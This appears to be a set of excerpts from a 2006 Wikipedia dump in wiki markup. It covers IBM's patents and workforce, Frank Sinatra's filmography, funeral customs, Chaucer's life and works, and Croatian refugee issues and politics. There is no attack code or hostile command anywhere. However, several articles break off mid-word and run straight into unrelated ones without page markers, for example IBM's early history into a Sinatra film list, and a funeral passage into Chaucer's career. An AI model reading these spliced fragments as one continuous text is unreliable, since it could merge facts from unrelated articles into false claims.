[[Turing Award]]s, five [[National Medal of Technology|National Medals of Technology]], and five [[National Medal of Science|National Medals of Science]], and outside the USA, many equivalents&lt;!-- lots more --&gt;. == Current business activities == In 2002, IBM announced the beginning of a $10 billion program to research and implement the infrastructure technology necessary to be able to provide [[supercomputer]]-level resources &quot;on demand&quot; to all businesses as a metered utility. This program will be implemented over the coming years. In recent years IBM has steadily increased its patent portfolio, which is valuable for [[cross-licensing]] with other companies. In every year from [[1993]] until [[2005]], IBM has been granted significantly more U.S. patents than any other company. That thirteen-year period has resulted in over 31,000 patents for which IBM is the primary assignee. [http://www.ibm.com/news/us/en/2006/01/2006_01_10.html] {| align=right |[[Image:Ibm revenue profit 1980to2003.gif|thumb|233px|IBM revenue and net earnings, 1980 to 2003]] |- | {| border=0 cellspacing=0 cellpadding=4 | rowspan=&quot;14&quot; colspan=&quot;1&quot; | (click on the&lt;br&gt;year to go to&lt;br&gt;IBM's page of&lt;br&gt; accomplishments&lt;br&gt;for that year) ! Year ! align=&quot;center&quot; | Patents&lt;br&gt; Granted |- | 2005 | align=&quot;center&quot; | 2941 |- | [http://www.ibm.com/ibm/history/history/year_2004.html 2004] | align=&quot;center&quot; | 3248 |- | [http://www.ibm.com/ibm/history/history/year_2003.html 2003] | align=&quot;center&quot; | 3415 |- | [http://www.ibm.com/ibm/history/history/year_2002.html 2002] | align=&quot;center&quot; | 3288 |- | [http://www.ibm.com/ibm/history/history/year_2001.html 2001] | align=&quot;center&quot; | 3411 |- | [http://www.ibm.com/ibm/history/history/year_2000.html 2000] | align=&quot;center&quot; | 2886 |- | [http://www.ibm.com/ibm/history/history/year_1999.html 1999] | align=&quot;center&quot; | 2756 |- | [http://www.ibm.com/ibm/history/history/year_1998.html 1998] | align=&quot;center&quot; | 2658 |- | [http://www.ibm.com/ibm/history/history/year_1997.html 1997] | align=&quot;center&quot; | 1724 |- | [http://www.ibm.com/ibm/history/history/year_1996.html 1996] | align=&quot;center&quot; | 1867 |- | [http://www.ibm.com/ibm/history/history/year_1995.html 1995] | align=&quot;center&quot; | 1383 |- | [http://www.ibm.com/ibm/history/history/year_1994.html 1994] | align=&quot;center&quot; | 1298 |- | [http://www.ibm.com/ibm/history/history/year_1993.html 1993] | align=&quot;center&quot; | 1087 |} |} Protection of the company's intellectual property has grown into a business in its own right, generating over $10 billion dollars [http://www.industryweek.com/CurrentArticles/asp/articles.asp?ArticleID=1400] to the bottom line for the company during this period. [http://www.forbes.com/2003/08/07/cx_ld_0807ibm_print.html], [http://web.archive.org/web/*/http://www.inc.com/articles/legal/ip/patents/23293.html] &lt;!-- Other references if needed [http://www.crn.com/sections/special/hof/hof01.asp?ArticleID=31278], [http://www.industryweek.com/CurrentArticles/asp/articles.asp?ArticleID=1400], [http://www.forbes.com/asap/2002/0624/044_print.html] --&gt; A 2003 Forbes article quotes the head of IBM Research, who suggested a $1 billion in profit just for the research staff; however, they probably generate the bulk of new inventions in the company. &lt;!-- 2001 Inc. article quotes royalties of 1.6 billion in 2000. --&gt; In 2005, IBM sold its PC division to China-based [[Lenovo]]. As part of the agreement, Lenovo moved its headquarters to [[New York State]]. IBM owns a significant stake (about 19%) in Lenovo. Starting from the date of the acquisition, Lenovo is permitted five years' use of the IBM and [[Thinkpad]] trademarks. ==Culture== IBM has often been described as having a sales-centric or a sales-oriented business culture. Traditionally, many of its executives and general managers would be chosen from its sales force. In addition, middle and top management would often be enlisted to give direct support to salesmen in the process of making sales to important customers. For most of the [[20th century]], a blue suit, white shirt and dark tie was the public uniform of IBM employees. But by the 1990s, IBM relaxed these codes; the dress and behavior of its employees does not differ appreciably from that of their counterparts in large technology companies. In 2003, IBM embarked on an ambitious project to rewrite company values using its &quot;Jam&quot; technology -- Intranet-based online discussions on key business issues for a limited time, involving more than 50,000 employees over 3 days in this case. Jam technology includes sophisticated text analysis software (eClassifier) to mine online comments for themes, and Jams have now been used six times internally at IBM. As a result of the 2003 Jam, the company values were updated to reflect three modern business, marketplace and employee views: &quot;Dedication to every client's success&quot;, &quot;Innovation that matters - for our company and for the world&quot;, &quot;Trust and personal responsibility in all relationships&quot;. In 2004, another Jam was conducted in which more than 52,000 employees exchanged best practices for 72 hours. This event was focused on finding actionable ideas to support implementation of the values identified previously. A new post-Jam Ratings event was developed to allow IBMers to select key ideas that support the values. (For further information, see Harvard Business Review, December 2004, interview with IBM Chairman Sam Palmisano.) IBM's culture has been recently influenced by the [[open source movement]]. The company invests billions of dollars in services and software based on [[Linux]]. This includes over 300 [[Linux kernel]] developers. IBM's open source involvement has not been trouble-free, however; see [[SCO v. IBM]]. ===Diversity and workforce issues=== IBM's efforts to promote workforce diversity and equal opportunity date back at least to [[World War I]], when the company hired disabled veterans. IBM is the only technology company ranked in [http://www.workingwoman.com/top10.html Working Mother Magazine's Top 10] for 2004. The company has traditionally resisted [[labor union]] organizing, although unions represent some IBM workers outside the United States. [http://www.allianceibm.org Alliance@IBM], part of the [[Communications Workers of America]], is trying to organize IBM in the U.S. In the 1990s, two major [[pension]] program changes, including a conversion to a cash balance plan, resulted in an employee [[class action]] lawsuit alleging [[age discrimination]]. IBM employees won the lawsuit and arrived at a partial settlement, although appeals are still underway. Historically IBM has had a good reputation of long-term staff retention with few large scale layoffs. In more recent years there have been a number of broad sweeping cuts to the workforce as IBM attempts to adapt to changing market conditions and a declining profit base. After posting weaker than expected revenues in the first quarter of 2005, IBM eliminated 14,500 positions from its workforce, predominantly in Europe. On [[June 8]], [[2005]], IBM Canada Ltd. eliminated approximately 700 positions. There has also been a steadily increasing movement of labour to cheap offshore countries such as the [[Philippines]], [[India]] and [[China]]. On [[October 10]], [[2005]], IBM became the first major company in the world to formally commit to not using genetic information in its employment decisions. This came just a few months after IBM announced its support of the [[National Geographic]]'s [[The Genographic Project|Genographic Project]]. == History == === Early years === [[Image:IBM_original_logo.jpg|200px|right|Original Logo]] IBM's history dates back decades before the development of electronic computers &amp;ndash; before that it developed [[Punch card|punched card]] data processing equipment. It originated as the Computing Tabulating Recording (CTR) Corpor
0 film)|Ocean's Eleven]]'' ([[1960]]) *''[[Pepe (film)|Pepe]]'' ([[1960]]) (Cameo) *''The Devil at Four O'Clock'' ([[1961]]) *''Sergeants 3'' ([[1962]]) *''[[The Road to Hong Kong]]'' ([[1962]]) (Cameo) *''[[Advise and Consent]]'' ([[1962]]) (voice) *''[[The Manchurian Candidate]]'' ([[1962]]) *''The List of Adrian Messenger'' ([[1963]]) (Cameo) *''[[Come Blow Your Horn]]'' ([[1963]]) *''4 for Texas'' ([[1963]]) *''[[Robin and the 7 Hoods]]'' ([[1964]]) *''A Tribute to the Will Rogers Memorial Hospital'' ([[1965]]) (short subject) *''None But the Brave'' ([[1965]]) (also producer and director) *''[[Von Ryan's Express]]'' ([[1965]]) *''Marriage on the Rocks'' ([[1965]]) *''[[The Oscar]]'' ([[1966]]) (Cameo) *''[[Cast a Giant Shadow]]'' ([[1966]]) *''Assault on a Queen'' ([[1966]]) *''Think Twentieth'' ([[1967]]) (short subject) *[[The Naked Runner]] ([[1967]]) *''Tony Rome'' ([[1967]]) *''The Detective'' ([[1968]]) *''Lady in Cement'' ([[1968]]) *''Dirty Dingus Magee'' ([[1970]]) *''[[That's Entertainment!]]'' ([[1974]]) *''Rene Simard in Japan'' ([[1974]]) (documentary) *''The First Deadly Sin'' ([[1980]]) *''[[Cannonball Run II]]'' ([[1984]]) *''Listen Up: The Lives of Quincy Jones'' ([[1990]]) (documentary) *''In Person'' ([[1993]]) (voice) (short subject) ==Samples== *[[Media:Saturday Night.ogg|Download sample]] of &quot;Saturday Night (Is the Loneliest Night of the Week)&quot; ==See also== *[[List of popular music performers]] *[[Sinatra Doctrine]] *[[Best selling music artists]] *[[Media:1920_census_Sinatra_Gavarante.gif|1920 US Census]] with Sinatras *[[Media:1930_census_Sinatra_Gavarante.gif|1930 US Census]] with Sinatras *[[1992]] film [[Sinatra (1992 film)|Sinatra]] ==References== * ''[[Rolling Stone Record Guide|The New Rolling Stone Record Guide]]'', Rolling Stone Press, 1983. * [http://www.jazzsingers.com/FrankSinatra/ &quot;Frank Sinatra — Through the Lens of Jazz&quot;, ''Jazz Times Magazine'', May 1998] * Friedwald, Will. ''Sinatra! The Song Is You: A Singer's Art''. Da Capo Press, 1999. * Granata, Charles. ''Sessions with Sinatra: Frank Sinatra and the Art of Recording''. Chicago Review Press, 1999. * Hamill, Pete. ''Why Sinatra Matters''. Back Bay Books, 2003. * Lahr, John. ''Sinatra''. Random House, 1997. * Mustazza, Leonard, ed. ''The Frank Sinatra Reader''. Oxford University Press, 1997. * Mustazza, Leonard, ed. ''Frank Sinatra and Popular Culture''. Praeger, 1998. * Pugliese, S., ed. ''Frank Sinatra: &quot;history, Identity, And Italian American Culture &quot;''. Palgrave, 2004. * Rockwell, John. ''Sinatra: An American Classic''. Rolling Stone, 1984 &lt;!-- * Sinatra's bodyguard's autobiography. --&gt; ==External links== {{Commons|Frank Sinatra}} {{wikiquotepar|Frank Sinatra}} * [http://www.sinatrafamily.com Sinatra family site] * [http://www.sinatra-main-event.de Sinatra - The Main Event] * [http://SinatraGuide.com Sinatra! The Complete Guide] An internet guide to all of Frank's works * [http://www.rareexception.com/Garden/RatPack/Sinatra/Frank.php Fun Sinatra Facts] Learn to talk like Sinatra *{{imdb name|id=0000069|name=Frank Sinatra}} * [http://www.strictlysinatra.com Strictly Sinatra] A tribute To Frank Sinatra * [http://foia.fbi.gov/foiaindex/sinatra.htm FBI's Frank Sinatra file] * [http://www.sinatraarchive.com/ref/songlist.htm List of songs sung by Frank Sinatra] * [http://tesla.liketelevision.com/liketelevision/tuner.php?channel=134&amp;format=movie&amp;theme=guide Watch Frank Sinatra in The Man with the Golden Arm] * [http://lyrics.rare-lyrics.com/F/Frank-Sinatra.html Frank Sinatra Lyrics Collection] * [http://thisamericanlife.com/pages/descriptions/02/205.html A radio show containing an interview with Frank Sinatra, Junior's kidnapper] * [http://www.bigbandsandbignames.com Sinatra information and 1945 performance review] * [http://www.avalon.net/~bstuder/sinatra.html Sinatra 101] Concisely written guide to best of Sinatra * [http://rsparlourtricks.blogspot.com/2005/12/sinatra.html Ron Schuler's Parlour Tricks: Sinatra] {| align=&quot;center&quot; cellspacing=&quot;0&quot; class=&quot;toccolours&quot; width=&quot;70%&quot; style=&quot;clear:both;text-align:center&quot; |- style=&quot;background:#ccf;&quot; | width=&quot;25&quot; | &amp;nbsp; | width=&quot;25&quot; | &amp;nbsp; | width=&quot;25&quot; | &amp;nbsp; ! style=&quot;font-size: 120%;&quot; | '''The Great American Songbook''' | width=&quot;25&quot; | &amp;nbsp; | width=&quot;25&quot; | &amp;nbsp; | width=&quot;25&quot; | &amp;nbsp; |- | colspan=&quot;7&quot; | Songwriters: [[Cole Porter]], [[Irving Berlin]], [[George Gershwin]], [[Ira Gershwin]], [[Harold Arlen]], [[Johnny Mercer]], [[Jerome Kern]], [[Richard Rodgers]], [[Lorenz Hart]], [[Duke Ellington]], [[Hoagy Carmichael]], [[Oscar Hammerstein II]], [[Dorothy Fields]], [[Cy Coleman]], [[Jimmy McHugh]], [[Johnny Mandel]] Singers: [[Louis Armstrong]], [[Fred Astaire]], [[Tony Bennett]], [[Michael Buble]], [[Betty Carter]], [[Blossom Dearie]], [[Billy Eckstine]], [[Michael Feinstein]], [[Ella Fitzgerald]], [[Billie Holliday]], [[Shirley Horn]], [[Lena Horne]], [[Diana Krall]], [[Carmen McRae]], [[Joni Mitchell]], [[Nina Simone]], [[Frank Sinatra]], [[Rod Stewart]], [[Mel Torme]], [[Dinah Washington]], [[Robbie Williams]], [[Sarah Vaughan]] [[Category:1915 births|Sinatra, Frank]] [[Category:1998 deaths|Sinatra, Frank]] [[Category:American film actors|Sinatra, Frank]] [[Category:American male singers|Sinatra, Frank]] [[Category:Best Actor Oscar Nominee|Sinatra, Frank]] [[Category:Best Supporting Actor Oscar|Sinatra, Frank]] [[Category:Entertainers who died in their 80s|Sinatra, Frank]] [[Category:Knights of Malta|Frank Sinatra]] [[Category:Gaming Hall of Fame|Sinatra, Frank]] [[Category:High school dropouts|Sinatra, Frank]] [[Category:Italian-Americans|Sinatra, Frank]] [[Category:Mafia associates|Sinatra, Frank]] [[Category:New Jersey musicians|Sinatra, Frank]] [[Category:People from New Jersey|Sinatra, Frank]] [[Category:Presidential Medal of Freedom recipients|Sinatra, Frank]] [[Category:Roman Catholic musicians|Sinatra, Frank]] [[Category:Sicilian-Americans|Sinatra, Frank]] [[Category:Traditional pop music singers|Sinatra, Frank]] [[cy:Frank Sinatra]] [[da:Frank Sinatra]] [[de:Frank Sinatra]] [[eo:Frank SINATRA]] [[es:Frank Sinatra]] [[fa:فرانک سیناترا]] [[fi:Frank Sinatra]] [[fr:Frank Sinatra]] [[he:פרנק סינטרה]] [[hr:Frank Sinatra]] [[is:Frank Sinatra]] [[it:Frank Sinatra]] [[ja:フランク・シナトラ]] [[nl:Frank Sinatra]] [[no:Frank Sinatra]] [[pl:Frank Sinatra]] [[pt:Frank Sinatra]] [[sr:Френк Синатра]] [[sv:Frank Sinatra]] [[tr:Frank Sinatra]]</text> </revision> </page> <page> <title>Funeral</title> <id>11182</id> <revision> <id>42054684</id> <timestamp>2006-03-03T14:12:37Z</timestamp> <contributor> <ip>68.38.84.110</ip> </contributor> <comment>/* External links */</comment> <text xml:space="preserve">{{otheruses|[[Funeral (disambiguation)]]}} [[Image:20000 graveyard.jpg|thumb|Underwater funeral in ''[[Twenty Thousand Leagues Under the Sea]]'']] A '''funeral''' is a [[ceremony]] marking a person's [[death]]. Funerary customs comprise the complex of beliefs and practices used by a culture to remember the dead, from the funeral itself, to various monuments, [[prayer]]s, and rituals undertaken in their honor. These customs vary widely between cultures, and between religious affiliations within cultures. In some cultures the dead are worshipped; this is commonly called [[ancestor worship]]. The word comes from the [[Latin]] ''funus'', which had a variety of meanings, including the corpse and the funerary rites themselves. Funeral rites are as old as the human race itself. In the [[Shanidar]] [[cave]] in [[Iraq]], [[Neanderthal]] [[skeleton]]s have been discovered with a characteristic layer of [[pollen]], which suggests that Neanderthals buried the dead with gifts of [[flower]]s. This has been interpreted as suggesting that Neanderthals believed in an [[afterlife]], and in any case were aware of their own mortality and were capable of [[mourning]]. ==Funerals in contemporary North America== ===Traditional funerals=== Within the [[United States]] and [[Canada]], in most cultural groups and regions, the funeral [[ritual]]s can be divided into three parts: ====Visitation==== At the ''visitation'' (also called a &quot;[[viewing]]&quot; or &quot;[[wake (ceremony)|wake]]&quot;) the [[embalming|embalmed]] body of the deceased person (or decedent) is placed on display in the [[coffin]] (also called a casket). At the viewing, the friends and relations greet the more distant relatives and friends of the dead person(s) in a social gathering with little in the way of ritual. The viewing often takes place on one or two evenings before the funeral. The only prescribed aspects of this gathering are that frequently the attendees sign a book kept by the deceased's survivors to record who attended and that the attendees are expected to view the deceased's body in the coffin. In addition, a family may choose to display photographs taken of the deceased person during his/her life (often, formal portraits with other family members and candid pictures to show &quot;happy times&quot;), prized possessions and other items representing his/her hobbies and/or accomplishments. The viewing is either &quot;open casket&quot;, in which the embalmed body of the deceased has been clothed and treated with cosmetics for display; or &quot;closed casket&quot;, in which the coffin is closed. The coffin may be closed if the body was too badly damaged because of an accident or fire, deformed from illness or if someone in the group is emotionally unable to cope with viewing the corpse. However, this step is foreign to Judaism; Jewish funerals are held soon after death, and the corpse is never displayed. As well, Jewish law forbids anyone to embalm the body of the deceased. (''See also [[Jewish bereavement]].'') The decedent'
capacity. Almost immediately on [[22 June]] he began as deputy forester in the [[royal forest]] of [[North Petherton]], [[Somerset]]. This was no [[sinecure]], with maintenance an important part of the job, although there were many opportunities to derive profit. Soon after the overthrow of his patron [[Richard II of England|Richard II]], Chaucer vanished from the historical record. He is believed to have died of unknown causes on [[25 October]], [[1400]] but there is no firm evidence for this date which is from the engraving on his tomb, built over one hundred years after his death. There is some speculation&amp;mdash;most recently in [[Terry Jones]]' book ''[[Who Murdered Chaucer? : A Medieval Mystery]]''&amp;mdash;that he was murdered by enemies of Richard II or even on the orders of his successor [[Henry IV of England|Henry IV]]. The new king did renew the grants assigned to Chaucer by Richard but in ''The Complaint of Chaucer to his Purse'' Chaucer hints that they might not have been paid. The last mention of Chaucer in the historical record is on [[5 June]] [[1400]] when some monies owing to him were paid. Chaucer was buried in [[Westminster Abbey]] in London as was his right owing to the jobs he had performed and the new house he had leased nearby on [[24 December]] [[1399]]. In [[1556]] his remains were transferred to a more ornate tomb, making Chaucer the first writer interred in the area now known as [[Poets' Corner]]. ==Works== Chaucer's first major work ''[[The Book of the Duchess]]'' was an [[elegy]] for [[Blanche of Lancaster]]. Although unlikely that it was commissioned by her husband [[John of Gaunt]], as some scholars have claimed, he did grant Chaucer a £10 annuity on [[13 June]] [[1374]]. Two other early works were ''[[Anelida and Arcite]]'' and ''The [[House of Fame]]''. Chaucer wrote many of his major works in a prolific period while working as customs comptroller. His ''[[Parlement of Foules]]'', ''[[The Legend of Good Women]]'' and ''[[Troilus and Criseyde]]'' all date from this time. He is best known as the writer of ''[[The Canterbury Tales]]'', a collection of stories (told by fictional [[pilgrim]]s on the road to the [[cathedral]] at [[Canterbury, Kent|Canterbury]]) that would help to shape [[English literature]]. ''[[The Canterbury Tales]]'' contrasts with other literature of the period in the naturalism of its narrative, the variety of stories the pilgrims tell and the varied characters who are engaged in the pilgrimage which sets it apart from other literature of the period. Many of the stories narrated by the pilgrims seem to fit their individual characters and social standing, although some of the stories seem ill-fitting to their narrators, probably representing the incomplete state of the work. Chaucer drew on real life for his cast of Pilgrims; the inn keeper shares the name of a contemporary keeper of an Inn in [[Southwark]], and real life identities for the Wife of Bath, the Merchant, the Man of Law and the Student have been suggested. The many jobs Chaucer held in medieval society; page, soldier, messenger, valet, bureaucrat, foreman and administrator probably exposed him to many of the types of people he depicted in the ''Tales''. He was able to ape their speech, satirise their manners and still offer them popular literature. Chaucer's works are sometimes grouped into, first a French period, then an Italian period and finally an English period, with Chaucer being influenced by those countries' literatures in turn. Certainly ''[[Troilus and Criseyde]]'' is a middle period work with its reliance on the forms of Italian poetry, little known in England at the time, but to which Chaucer was probably exposed during his frequent trips abroad on court business. In addition, its use of a [[classical antiquity|classical]] subject and its elaborate, courtly language sets it apart as one of his most complete and well-formed works. In ''[[Troilus and Criseyde]]'' Chaucer draws heavily on his source, Bocaccio, and on the late Latin philsopher Boethius. However, it is ''The Canterbury Tales'', wherein he focuses on English subjects, with bawdy jokes and respected figures often being undercut with humour, that has cemented his reputation. Chaucer also [[translation|translated]] such important works as [[Anicius Manlius Severinus Boethius|Boethius]]' ''[[Consolation of Philosophy]]'' and ''[[The Romance of the Rose]]'' by [[Guillaume de Lorris]] (extended by Jean de Meun). However, while many scholars maintain that Chaucer did indeed translate part of the text of ''The Romance of the Rose'' as ''[[Roman de la Rose]]'', others claim that this has been effectively disproved. Many of his other works were very loose translations of, or simply based on, works from continental Europe. It is in this role that Chaucer receives some of his earliest critical praise. [[Eustache Deschamps]] wrote a [[ballade]] on the great translator and called himself a &quot;nettle in Chaucer's garden of poetry&quot;. In [[1385]] [[Thomas Usk]] made glowing mention of Chaucer, and [[John Gower]], Chaucer's main poetic rival of the time, also lauded him. This reference was later edited out of Gower's ''[[Confessio Amantis]]'' and it has been suggested by some that this was because of ill feeling between them, but it is likely due simply to stylistic concerns. One other significant work of Chaucer's is his [[Treatise on the Astrolabe]], possibly for his own son, that describes the form and use of [[Astrolabe|that instrument]] in detail. Although much of the text may have come from other sources, the treatise indicates that Chaucer was versed in science in addition to his literary talents. Another scientific work discovered in [[1952]], ''Equatorie of the Planetis'', has similar language and handwriting compared to some considered to be Chaucer's and it continues many of the ideas from the Astrolabe. The attribution of this work to Chaucer is still uncertain. ==Influence== ===Linguistic=== [[Image:Chaucer Hoccleve.gif|thumb|300px|Portrait of Chaucer from [[Thomas Occleve]], a close friend, so probably an accurate depiction]] Chaucer wrote in continental accentual-syllabic [[metre (poetry)|metre]], a style which had developed since around the twelfth century as an alternative to the [[alliterative verse|alliterative]] [[Anglo-Saxon poetry|Anglo-Saxon metre]]. Chaucer is known for metrical innovation, inventing the [[rhyme royal]], and he was one of the first English poets to use the five-stress line, the [[iambic pentameter]], in his work, with only a few anonymous short works using it before him. And the arrangement of these five-stress line into rhyming [[couplet]]s was first seen in his ''[[The Legend of Good Women]]'', was used in much of his later work and became one of the standard poetic forms in English. His early influence as a satirist is also important, with the common humorous device, the funny accent of a [[regional dialect]], apparently making its first appearance in ''[[The Reeve's Prologue and Tale|The Reeve's Tale]]''. The poetry of Chaucer, along with other writers of the era, is credited with helping to ''standardise'' the London Dialect of the [[Middle English]] language; a combination of Kentish and Midlands dialect. This is probably overstated: the influence of the court, [[chancery]] and bureaucracy&amp;mdash;of which Chaucer was a part&amp;mdash;remains a more probable influence on the development of [[Standard English]]. [[Modern English]] is somewhat distanced from the language of Chaucer's poems owing to the effect of the [[Great Vowel Shift]] some time after his death. This change in the [[pronunciation]] of English, still not fully understood, makes the reading of Chaucer difficult for the modern audience. The status of the final ''-e'' in Chaucer's verse is uncertain: it seems likely that during the period of Chaucer's writing the final ''-e'' was dropping out of colloquial English and that its use was somewhat irregular. Chaucer's versification suggests that the final ''-e'' is sometimes to be vocalised, and sometimes to be silent; however, this remains a point on which there is disagreement. Apart from the irregular spelling, much of the vocabulary is recognisable to the modern reader. Chaucer is also recorded in the [[Oxford English Dictionary]] as the first author to use many common English words in his writings. These words were probably frequently used in the language at the time but Chaucer, with his ear for common speech, is the earliest manuscript source. ''Acceptable'', ''alkali'', ''altercation'', ''amble'', ''angrily'', ''annex'', ''annoyance'', ''approaching'', ''arbitration'', ''armless'', ''army'', ''arrogant'', ''arsenic'', ''arc'', ''artillery'' and ''aspect'' are just some of those from the first letter of the alphabet. ====Literary==== [[Chaucer]]'s early popularity is attested by the many poets who imitated his works. [[John Lydgate]] was one of earliest imitators who wrote a continuation to the ''Tales''. Later a group of poets including [[Gavin Douglas]], [[William Dunbar]] and [[Robert Henryson]] were known as the [[Scottish Chaucerians]] for their indebtedness to his style. Many of the manuscripts of Chaucer's works contain material from these admiring poets and the later [[romantic era]] poets' appreciation of Chaucer was coloured by their not knowing which of the works were genuine. It was not until the late [[19th century]] that the official Chaucerian canon, accepted today, was decided upon. One hundred and fifty years after his death, ''The Canterbury Tales'' was selected by [[William Caxton]] to be one of the first books to be printed in England. ====Monuments and Tributes==== A building has been named in Chaucer's honour at the [[United Kingdom]] [[Civil Service College]]. ==Historical Reception and Representation== ===Manuscripts=== As early as 1400, Chaucer's courtly audience grew to include members of the ri
vle fled those areas as they were under Serbian military control. Conversely, most of the Serbs from Bilogora and northwestern Slavonia fled those areas as they were under Croatian military control. In later stages of the war, most of the Serbs of western Slavonia, Banija, Kordun, eastern Lika and northern Dalmatian Zagora fled those areas as they came under Croatian military control. There were several incidents of what can be pretty clearly explained as ethnic cleansing: the attacks on and the subsequent expulsion of population from the villages and towns of [[Skabrnja|Škabrnja]], [[Kijevo, Croatia|Kijevo]], [[Vukovar]], [[Medak]]. Although widely assumed to be a war in which ethnic cleansing was generally used, no international institution has yet established a clear pattern that would indicate that either side in the war in Croatia committed ethnic cleansing on the scale of the whole country, including the [[International Criminal Tribunal for the Former Yugoslavia]] at [[The Hague]]. However, the leader of the rebel Serbs [[Milan Babic|Milan Babić]] was indicted, plead guilty and was convicted for ''persecutions on political, racial and religious grounds, a crime against humanity'', which combined with the content of his indictment implies that there was ethnic cleansing on the whole area of [[RSK|Krajina]]. The war ended with military victories of the Croatian government in [[1995]] and subsequent peaceful reintegration of the remaining renegade territory in eastern Slavonia in [[1998]]. The exodus of the Krajina Serbs in 1995 was prompted by the advance of the Croatian troops, but it was still mostly self-organized rather than forced. All of them have been officially called upon to stay shortly before the operation, and called to return after the end of the hostilities, with varying but increasing degrees of guarantees from the Croatian government. All persons that participated in the rebellion but committed no crimes were pardoned by the government in [[1997]]. Most Croat refugees returned to their homes, while two thirds of the Serbs remain in exile; the other third either returned or had remained in Zagreb and other parts of Croatia not directly hit by war. The current reasons why many Serb refugees still have not returned vary: for non-civilians, it is fear of prosecution for war crimes (Croatian legal system, like the ICTY, has secret lists of war crimes suspects) and fear of retaliation; for civilians, it is unfavourable property laws, ethnic discrimination by local authorities, and last but not the least, appalling economic conditions in the rural areas they inhabited. In 2004/2005, the government of [[Serbia]] still had around 140,000 refugees from Croatia registered on its territory, while around 13,000 housing reparation demands had been pending with the Croatian authorities. The property laws, in particular, favor Croats who immigrated into the previously predominantly Serb-inhabited areas after having been forced out of Bosnia and Herzegovina by the Serbs. Under the current law, a person who occupies someone else's previously vacated house and does not have alternative accommodation (such as their own home or a place in a refugee camp), is allowed to stay in someone else's [[private property]] as a refugee, without being charged for squatting. The number of such individuals and families has dropped significantly in the 2000s, and a certain amount of property was returned to its previous owners. However, at the same time not all of the former refugees actually left the same houses, and instead remained in the occupied houses illegally. In 2004, the authorities noted around 1,400 houses still occupied by former refugees. The courts and the police are generally hesitant to evict these to avoid public protest of the Croat majority, causing much disagreement between the Croat and Serb communities in these locations. The Croatian government denies any ethnic cleaning on a large scale as is claimed by some of the Serbs, and has consistently worked with the international community and the local Serb representatives to rectify the war-related problems, though cooperation on the lower levels has been lacking. The participation of the largest Serbian party [[Independent Democratic Serbian Party|SDSS]] in the [[Croatian Government]] of [[Ivo Sanader]] has eased tensions to an extent, but the refugee situation is still politically sensitive. Slow refugee return and slow prosecution of Croatian army personnel implicated in war crimes are some of the main obstacles to Croatia's application to the [[European Union]]. ==See also== * [[Croatia]] * [[History of Croatia]] * [[History of Yugoslavia]] ==References== {{CIA WFB 2005}} *[http://www.dzs.hr/default.htm Croatian Institute for Statistics] ==External links== * [http://www.dzs.hr/Eng/Census/census2001.htm Croatian Bureau of Statistics, Census 2001] * [http://www.hrw.org/reports/2003/croatia0903/ Human Rights Watch Report &quot;Broken Promises: Impediments to Refugee Return to Croatia&quot;] * [http://unstats.un.org/unsd/mi/mi_results.asp?crID=191&amp;fID=r15 United Nations Statistics Division Millennium Indicators for Croatia] * [http://www.vojska.net/military/croatia/about/population.asp Population of Croatia 1931-2001] [[Category:Geography of Croatia]] [[Category:Croatian society]] [[Category:Demographics by country|Croatia]] [[hr:Stanovništvo Hrvatske]] [[pt:demografia da Croácia]]</text> </revision> </page> <page> <title>Politics of Croatia</title> <id>5577</id> <revision> <id>40628384</id> <timestamp>2006-02-21T22:56:06Z</timestamp> <contributor> <username>Raoul DMR</username> <id>353009</id> </contributor> <comment>/* Executive branch */ DC is in opposition now</comment> <text xml:space="preserve">{{Politics of Croatia}} The Republic of [[Croatia]] ([[Croatian language|Croatian]]: ''Republika Hrvatska'') is a parliamentary democracy with an elected president. It adopted its current constitution on [[December 22]], [[1990]], and declared independence from [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] on [[June 25]], [[1991]]. Amendments to the [[Constitution of Croatia|Constitution]] have happened four times: * [[December 15]], [[1997]] -- additional [[minority]] rights and verbiage changes * [[September 11]], [[2000]] -- changed from a [[semi-presidential system|semi-presidential]] to a [[parliamentary system]]; the parliament was renamed its historic name of ''Hrvatski sabor'' * [[March 28]], [[2001]] -- Chamber of Counties abolished, the Parliament becomes [[unicameral]] * [[June 15]] [[2001]] -- administrivia == Executive branch == {{office-table}} |[[Presidents of Croatia|President]] |[[Stjepan Mesić]] |[[Croatian People's Party|HNS]] |[[18 February]] [[2000]] |- |[[List of Prime Ministers of Croatia|Prime Minister]] |[[Ivo Sanader]] |[[Croatian Democratic Community|HDZ]] |[[23 December]] [[2003]] |- |Other government parties | |[[Croatian Social Liberal Party|HSLS]], [[Croatian Pensioners' Party|HSU]], [[Independent Democratic Serbian Party|SDSS]] |} The main executive power of Croatian state is the [[government]] (in Croatian: &quot;vlada&quot;), presided by the [[Prime Minister]]. The government ministers (the cabinet) are appointed by the prime minister with the consent of the [[Parliament]]. The prime minister is the head of government, appointed by the President with the consent of the Parliament who takes his duty when Parliament gives its consent by absolute majority of all representatives. See http://www.vlada.hr/ '''Current government:''' [[Prime Minister of Croatia|Prime Minister]]: [[Ivo Sanader]] (since [[December 23]] [[2003]]); &lt;br&gt; Deputy Prime Ministers: Jadranka Kosor (since [[December 23]] [[2003]]), Damir Polančec (since February 2005). &lt;br&gt; Government ministers are from [[Croatian Democratic Union]] (HDZ) except from one minister from [[Democratic Centre]] (DC). The [[Presidents of Croatia|President of the Republic of Croatia]] is the head of state and is elected by popular vote for a five-year term. A president may not serve more than two terms. The president has limited executive powers, he is still commander-of-chief of the armed forces, he cooperates in formulation and execution of the foreign policy and the national security policy, represents Croatia home and abroad, convenes Parliament and can bring issues at Government. Main and the most essential duty of the President is that he is granted power to issue decrees with the force of law during war time. See http://www.predsjednik.hr/ ==Legislative Branch== The Croatian legislature is the ''[[Croatian Parliament|Hrvatski Sabor]]''. The [[Croatian Parliament|Assembly]] is unicameral, between 100 and 160 members, exact number was decided by the legislature - elected for a four year term, 140 members in multi-seat [[constituency|constituencies]], up to 6 members chosen by [[proportional representation]] to represent Croatians residing abroad and 5 members of ethnic and national communities or minorities. The Chamber of Counties or ''Županijski Dom'' used to be composed of three deputies from each of the 21 counties (''županije''). However, as it had no practical power over the Chamber of Representatives, in 2001, the Chamber was abolished and whatever powers it had were transferred directly to the county governments. The Sabor meets in public sessions in two periods: [[January 15]] to [[June 30]], and [[September 15]] to [[December 15]]. Extra sessions can be called by the President of the Republic, by the President of the Parliament or by Government. The powers of the legislature include enactment and amendment of the constitution; passage of laws; adoption of the state budget; declarations of war and peace; alteration of the boundaries of the Republic; calling referenda; carrying out elections, appointments, and relief of office; supervising the w
